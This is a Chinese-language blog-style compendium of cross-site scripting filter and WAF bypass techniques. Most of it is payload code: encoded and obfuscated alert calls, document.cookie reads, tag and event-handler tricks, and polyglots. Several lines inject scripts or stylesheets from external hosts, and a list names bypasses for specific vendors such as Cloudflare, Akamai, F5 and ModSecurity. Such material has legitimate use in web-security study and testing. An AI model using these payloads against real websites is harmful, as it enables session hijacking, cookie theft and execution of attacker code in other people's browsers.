XSS绕过总结

XSS绕过总结

0x01 弹窗关键字检测绕过

基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
添加多行注释:alert/abcd/(/xss/)
添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
使用’’代替():alert’xss’
使用括号分割:(alert)(/xss/)、((alert))(/xss/)

使用window和top:

1
2
3
4
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>

另外还可以通过以下方式绕过WAF:

1
2
3
4
5
6
7
<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>

另外还可以通过异常处理

1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

eval(string)参数为字符串,可以拼接关键字绕过检测。

1
<svg/onload=eval('ale'+'rt(1)')>

另外跳转中也可以使用关键字拼接

1
2
3
4
5
<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

0x02 编码绕过

  1. html实体编码
1
<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

1
<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

十六进制,例如:

1
<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

可以不带分号

1
<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

1
<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

1
2
3
4
5
1.<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab
2.<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车
3.<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行
4.<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号
5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE67下不支持
  1. URL编码
1
2
<a href="{here}">xx</a>
<iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如

1
<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

1
2
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

可以二次URL编码

1
<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

这里结合一下上面说16进制编码

1
<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>
  1. Unicode编码
1
2
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> 
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

另外还有八进制和十六进制

1
2
3
4
5
6
1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等
同样也可以使用window[‘eval’]

1
2
3
1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
  1. Base64编码
1
2
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

1
2
1.<iframe src="data:text/html,<script>alert&#40;1&#41;</script>"></iframe>
2.<iframe srcdoc="<script>alert&#40;1&#41;</script>"></iframe>

另外还可以使用atob函数

1
2
3
1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
  1. 其他
    String.fromCharCode:
1
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

这里针对HTML编码、URL编码、Unicode编码还涉及到一个解码顺序的问题:
我们以<a href=javascript:alert(1)>Click</a>为例
根据上面的例子,我们可以使用三种编码:
HTML编码:

1
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>

Unicode编码:

1
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>

URL编码:

1
<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>

然后我们把这三种解码结合起来:Unicode编码 -> URL编码 -> HTML编码

1
2
3
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>

发现同样是可以弹窗的。

0x03 绕过长度限制

1.短域名
我们假设XSS注入点存在长度限制,必须使用20个字符以内的payload进行攻击:

1
<script src=//aa.es>

如上外部域名就很完美,整体长度没超过20个字符。但所有这类域名几乎都被占用或者太贵了。

2.Unicode的兼容性

利用浏览器对Unicode字符等价判定的不同。先让我们来看一个例子,假设我们有这个payload:

1
2
<script src=//ffff.pw>
<script src=//01.x🅍.ht>
  • ff对应到ff
  • ℠对应到sm
  • ㏛对应到sr
  • st对应到st
  • ㎭对应到rad
  • ℡对应到tel

请注意,’ff’ 只是一个字符,但是当浏览器解析它时,它将表现为’ff’,即两个字符。同理英文字母’ss’对应的Unicode字符 ‘🅍’,这就能帮助我们大幅减少购买域名的花费。

实际上’x’对应的Unicode字符为’ˣ’,但是它在字节占用数上与’x’相同,故而没有替换的必要。

了解更多字符,请参考

了解字符拆解原理,请参考

3.注释拼接payload

原理是利用JS/jQuery注释,同一页面多个框(点)插入xss payload,使其注释掉中间代码,拼接完整的payload,完成xss攻击。

<script>alert(document.cookie)</script>拆分成5次来执行

1
2
3
4
5
<script>/*
*/alert/*
*/(document/*
*/.cookie)/*
*/</script>

0x04 引入外部JS

通过在<script>标签中引入其他字符绕过

1.<script/src=’1.js’/~~234*234></script ~~234*234>
2.onfocus=’a=document.createElement(“script”);a.src=”http://x.x.x.x“;body.appendChild(a);’
3.onfocus=’a=document.createElement(“scr”+”ipt”);a.src=”http://x.x.x.x“;body.appendChild(a);’ //拆分关键字
\4. //SSI
5.<link%20rel=import%20href=”2.js”>

0x05 第三方备忘录

Basic XSS Test Without Filter Evasion
PortSwigger

0x06 其他收集

Github

0x07 推特收集

1
2
3
4
5
JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

参考:https://brutelogic.com.br/blog/building-xss-polyglots/

2.绕过CloudFlare waf Payload

1
<svg onload=alert&#0000000040document.cookie)>

3.HTTP参数污染
绕过 Akamai WAF ASP样式HTTP参数污染反射XSS(仅限 Chrome)

1
2
3
4
?id=1&id=2  -->  <input value="1,2">
?id="&id=onpointerrawupdate="a=confirm&id=a(1)
-->
<input value="", onpointerrawupdate="a=confirm, a(1)">


附编码转换工具:http://bianma.51240.com/

0X08利用css跨站 (style属性或者style标签)

① 直接执行

利用的是属性中的 url ,跟伪协议相似
示例:

1
2
3
4
5
6
7
8
9
10
//1.
<div style="background-image:url(javascript:alert(1))">

//2.
<style>
body{background-image:url(javascript:alert(1));}
</style>

//3.
<div style="list-style-image:url(javascript:alert(1));">

② IE 下利用 expression

解释:expression用来吧CSS属性与js表达式关联起来,其中CSS属性可以是元素固有的属性,也可以是自定义属性,如下示例中的1、2,
示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
//1.
<div style="width:expression(alert(1));">

//2.
<img src="#" style="xss:expression(alert(1));">

//3.
<div style="list-style-image:expression(alert(1));">

//4.
<style>
body{background-image:expression(alert(1));}
</style>

③ 引用外部css文件执行xss

示例:

1
2
3
4
5
6
7
8
9
10
//1. 利用 link 标签
<link rel="stylesheet" href="http://www.mysite.com/eval.css">

//2.利用 @import 导入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>

//3.@import特性--直接执行js代码
<style>
@import "javascript:alert(1)";
</style>

0X09利用JS全局变量绕过XSS过滤器

JavaScript全局变量在函数外部声明或通过window对象声明。可以从任何功能访问它!
全局变量有:self,document,this,top、window

1
2
3
4
5
6
<script>
self["alert"](1);

(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("2") //用注释混淆

<script>

可以调用任何JavaScript函数的全局变量有:

  • window
  • self
  • _self
  • this
  • top
  • parent
  • frames

注意:一下例子均以 self对象 全局变量为例

进阶:

1.编码

1
2
3
4
5
6
7
8
9
10
alert(document.cookie)

//利用全局变量
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

// 利用js中支持的编码方式混淆过滤器
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)

2.创建元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//目标节点
<script type="text/javascript" src="http://example.com/my.js"></script>

//js代码
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)

其中
self["\x65\x76\x61\x6c"] --> eval()函数
self["\x61\x74\x6f\x62"] --> atob()方法 用于解码使用 base-64 编码的字符串。
一大串base64字符串为:
var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);

可以创建的标签元素往往不止只一个,懂js代码的,可以自定义需要创建的元素

3.利用框架,如jQuery

1).self["$"]["jQuery方法"]("JS代码")

1
2
3
4
5
6
7
8
9
10
11
//①:
self["$"]["globalEval"]("alert(1)");

//编码后:
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");


//②:
self [“ $”] [“ getScript”]("https://example.com/my.js"

2).Object.keys()方法调用函数
Object.keys()可以根据传的 索引值 调用各种函数方法,使我们能够调用任何函数而无需使用其名称
在控制台输入 Object.keys(self) 即可查看所有self对象支持的方法

1893076-20200511172738244-337733433

当然你也可以输入一下代码,更加直观的查看

1
2
3
4
5
6
7
8
x=0
for(i in self) {
if(typeof self[i] != '') {
console.log(i+"\n")
console.log(x)
x+=1
}
};

也可用通过这个直接查具体函数索引值
例如:查找 alert 函数

1
2
3
4
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
Object.keys(self)[145](1)` 代表着 alert(1)
然后在控制台调用:
self[Object.keys(self)[145]](1)

1893076-20200511173302527-1308372844

4.如何去利用?利用点在哪里?

构造特殊的payload,绕过 waf

要是单纯的想插入到 <script>标签中或者一些标签的事件函数中不太现实,因为网站既然都没有过滤这些敏感标签,为什么我们还要多此一举,搞得这么复杂
弄到云里雾里

四、JS中一些奇怪的函数、特性

同样是 alert(1) ,为何你如此优秀?

1
2
3
4
5
6
7
8
9
(alert)(1)
a=alert,a(1)
[1].map(alert)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

五、新加的内容(没有排版)

原文地址:🤑浅谈XSS绕过姿势🤑

1.US-ASCII编码
¼script¾alert(¢XSS¢)¼/script¾

2.重写绕过
当waf过滤方式为将某些关键字替换成空时,可以尝试嵌套,如过滤script关键字则可以尝试 scscriptript

3.利用上下文及注释突破字数限制

1
2
3
4
评论一:<p class="comment" title=" "><script>/*"> </p>
评论二:<p class="comment" title=" */prompt(/*"> </p>
评论三:<p class="comment" title=" */1);/*"> </p>
评论四:<p class="comment" title=" */</script>"> </p>

4.在 尖括号对 被过滤的时候
利用 // 绕过: <article><body/onload=alert(1)//</article>
此处相当于利用 // 来闭合不完整的payload,代替 > 符号

1893076-20200511142959757-401866198

6.利用fromeCharCoded方法绕过引号限制
<img src=javascript:alert(String.fromCharCode(88,83,83))>

7.利用混淆绕过过滤器

1
2
3
4
5
6
7
8
9
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

8.双半开括号绕过
<iframe src=http://xss.rocks/scriptlet.html <

9.利用& JavaScript includes
<br size="&{alert('XSS')}">

10.大佬总结的一些payload

1
2
3
4
5
6
7
8
9
10
11
12
13
下面9个套在<script>标签中全部执行成功,当然也可以放在标签的事件属性里面
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x282\x29`]}`
setTimeout`alert\x283\x29`
setInterval`alert\x284\x29`
onerror=alert;throw 5;
'alert\x286\x29'instanceof{[Symbol.hasInstance]:eval}
onerror=eval;throw'=alert\x287\x29';
{onerror=alert}throw 8
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]

这里个看不太懂😁
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}

由此可见,XSS要学好,JS功底少不了

六、 XSS Payload

1
2
3
4
5
6
7
<svg/onload=alert(1)>

<details open ontoggle=confirm(0)>

<svg><script>alert&#x28;1)</script>

等等等等

新增payload,来源HTML5Security

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
只测试了网页中一部分payload,在Chorme、Firefox浏览器上测试,一下测试样例代码均成功执行
<!--

#Chrome, Opera, Safari and Edge
<div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
<div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">

# Firefox
<div onbeforescriptexecute="alert(1)"></div>
<script>1</script>

#MSIE10/11 & Edge
<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">

#MSIE10
<div contenteditable onresize="alert(1)"></div>

# MSIE11
<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
<div onfocus="alert(1)" id="xss" style="display:table">
<div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
<div id="xss" style="float:left" onfocus="alert(1)">

# Chrome, Opera, Safari
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>

# Chrome, Opera, Safari
<style>
div {width: 100px;}
div:target {width: 200px;}
</style>
<div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>

# Safari
<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>

-->


<!--<iframe srcdoc="&lt;script&gt;alert('XSS')&lt;/script&gt;"></iframe>-->
<!--<input onfocus=write(1) autofocus>-->

<!--<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">-->
<!-- <param name="dataurl" value="javascript:alert('Barret李靖')">-->
<!--</object>-->

<!--<p class="comment" title=""><script>/*"></p>-->
<!--<p class="comment" title="*/prompt(/*"></p>-->
<!--<p class="comment" title="*/1);/*"></p>-->
<!--<p class="comment" title="*/</script>"></p>-->

<!--<svg><script>alert&#x28;1)</script>-->

<!--http://127.0.0.1/browser/1.php?name=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>-->


<!--利用fromeCharCoded方法绕过引号限制-->
<!--<img src=javascript:alert(String.fromCharCode(88,83,83))>-->


<!-- 利用& JavaScript includes-->
<!-- <br size="&{alert('XSS')}">-->
<!--<a href="j&#x61vascript: //%0&#x61 &#x00025;61lert(1)">click me</a>-->
<!--<img src="1" onerror="al\u0065rt(1)" />-->
<!--<img src="1" onerror="\u0061\u006c\u0065\u0072\u0074(1)" />-->
<!--<a href="j&#x61vascript: //%0&#x61;&#x00025;61l\u0065rt(1)">click me</a>-->
<!--<img/src/onerror="\u0061\u006c\u0065\u0072\u0074('\u0061')">-->
<!--<img/src/onerror=\u0061\u006c\u0065\u0072\u0074(\u0061)>-->
<!-- <a><svg><path><animateMotion/onend='[1].map(alert)' dur='1s'repeatCount=1></a>-->
<!--<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>-->
<!--<input onfocus=write(1) autofocus>-->
<!--<input onblur=write(1) autofocus><input autofocus>-->
<!--<video poster=javascript:alert(1)//></video> opera 10.5+-->
<!--<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>-->
<!--<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button> opera10.5 12.0-->
<!--<video><source onerror="alert(1)">-->
<!--<video onerror="alert(1)"><source></source></video> <audio>也可以 火狐ie-->
<!--<form><button formaction="javascript:alert(1)">X</button>-->
<!--<body oninput=alert(1)><input autofocus>-->
<!--<math href="javascript:alert(1)">CLICKME</math> 火狐-->

<!--<math>
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>-->
<!--<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />-->

<!--<picture><source srcset="x"><img onerror="alert(1)"></picture>
<picture><img srcset="x" onerror="alert(1)"></picture>
<img srcset=",,,,,x" onerror="alert(1)">-->

<!--<iframe srcdoc="<svg onload=alert(1)&nvgt;"></iframe>-->
<!--<a href="javascript:&apos;<svg onload&equals;alert&lpar;1&rpar;&nvgt;&apos;">CLICK</a>-->

<!--&nvlt; &nvgt;-->

<!--<details open ontoggle="alert(1)">-->

<!-- <frameset onload=alert(1)> iframe body 无src属性也可以触发onload事件-->

<!--<table background="javascript:alert(1)"></table> ie opera-->

<!--&lt;!&ndash;<img src="&ndash;&gt;<img src=x onerror=alert(1)//">-->

<!--<comment><img src="</comment><img src=x onerror=alert(1)//"> ie-->

<!--<![><img src="]><img src=x onerror=alert(1)//"> 好像不行-->

<!--<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>-->

<!--<style><img src="</style><img src=x onerror=alert(1)//">-->

<!--<li style=list-style:url() onerror=alert(1)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> opera-->

<!--<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> opera ie safari-->

<!--<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> ie6/9 -->

<!--<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>-->

<!--<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>-->

<!--<embed src="javascript:alert(1)"></embed> // Firefox only-->

<!--<b <script>alert(1)//</script>0</script></b> 嵌套标签失败-->

<!--<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> ie-->

<!--<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> ie-->

<!--[A]
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">-->

<!--[B]
<? foo="><x foo='?><script>alert(1)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">
[D]
<% foo><x foo="%><script>alert(1)</script>">
好像不行
-->

<!--<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
[a]可接受作为标签名称/属性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32,47 Internet Explorer(5-9 SM):11 [b]在属性之前忽略字符(并且不接受作为参数/属性分隔符) 。Firefox,Internet Explorer,Safari,Google Chrome,Opera:47 Internet Explorer(5-9 SM):0 ** [c]在属性名称和等号之间忽略字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 [d]接受作为参数/属性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):11 [e]等号和参数之间的字符被忽略。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 *字符以十进制ASCII表索引形式给出。**有一个通用规则,即IE HTML解析器不存在未编码的空字符。
没成功
-->

<!--<a href="[a]java[b]script[c]:alert(1)">XXX</a>
URI sheme中忽略以下字符*:[a]所有提到的浏览器:9,10,13,32 IE,GC,Safari,Opera:11,12 IE,GC,Safari,FF 3.6.28↓:8 IE ,GC,Safari:1-7,14-31 Opera:160,5760,6158,8192-8202,8232,8233,8239,8287,12288 Opera 11.52↓:6159 IE(5-9 SM):0 [b] ,[c] IE,GC,Safari 4.0.3↓,FF 4-6,Opera 10.63↓:9,10,13 GC 7↓,Safari 4.0.3↓:1-8,11,12 IE(5-9 SM):0 Safari 4.0.4↑,Opera 11↑,FF 7↑:无*字符以十进制ASCII表索引形式给出。
没成功
-->

<!--<frameset onpageshow="alert(1)">-->

<!--<body onpageshow="alert(1)">-->


<!--<applet onerror="alert(1)"></applet> ie -->

<!--<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>-->

<!--<div style="\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;">XXX</div>-->

<!--<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script> chrome按下f12执行 火狐直接执行-->

<!--<script>history.pushState(0,0,'/i/am/somewhere_else');</script>-->


<!--<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>-->

<!--<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>-->

<!--
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
-->

<!--<?xml-stylesheet href="javascript:alert(1)"?><root/> opera-->


<!--<input onblur=focus() autofocus><input>-->





<!--<article><body/onload=alert(1)//</article>-->

<!--<body/onload=alert(1)//-->

<script>
// eval.call`${'alert\x281\x29'}`
// eval.call`${'alert\x282\x29'}`
// eval.apply`${[`alert\x283\x29`]}`
// setTimeout`alert\x284\x29`
// setInterval`alert\x285\x29`
// onerror=alert;throw 6;
// 'alert\x287\x29'instanceof{[Symbol.hasInstance]:eval}
// onerror=eval;throw'=alert\x288\x29';
// {onerror=alert}throw 9
</script>


<script>
// {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}


throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]

</script>

常见的waf bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
CopyWAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充

WAF名称:Wordfence
Payload:<a/href=javascript&colon;alert()>click
绕过技术:数字字符编码

WAF名称:Barracuda
Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
绕过技术:数字字符编码

WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//

0x01 绕过

实际的情况中,很多网站会对<>,script等关键词进行限制,也有的不允许在input中运行js脚本,这个时候,就需要去考虑怎么绕过。

  • 1 大小写混用

首先是最简单的大小写混用,对一些仅仅匹配过滤的系统进行绕过,如:

1
2
<ScRipt>AleRt('xss')</ScRipt>
Copy
  • 2 利用HTML标签属性值执行

在某些系统中,用户不能自己构造html标签,这个时候可以使用html标签属性值调用js,比如:

1
2
3
<table background="jacascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');">
Copy
  • 3 回车空格等

在有些系统中,xss Filter仅仅将敏感字符列入黑名单,可以通过空格,tab,回车来绕过限制,如:

1
2
<img src="javas cript:alert('xss');">
Copy

或者换行输入用分号分隔:

1
2
3
4
<img src="javas
cript:
alert('xss');">
Copy
  • 4 对标签属性进行转码

普通的标签属性值过滤还可以通过编码绕过,如:

1
2
<img src="javascript:alert('xss');">
Copy

可以写成:

1
2
<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;>
Copy
  • 5 自己构造事件

不能依靠属性值运行xss的时候,我们可以尝试通过html事件来实现xss,如:

1
2
<img src="#" onerror=alert('xss') >
Copy

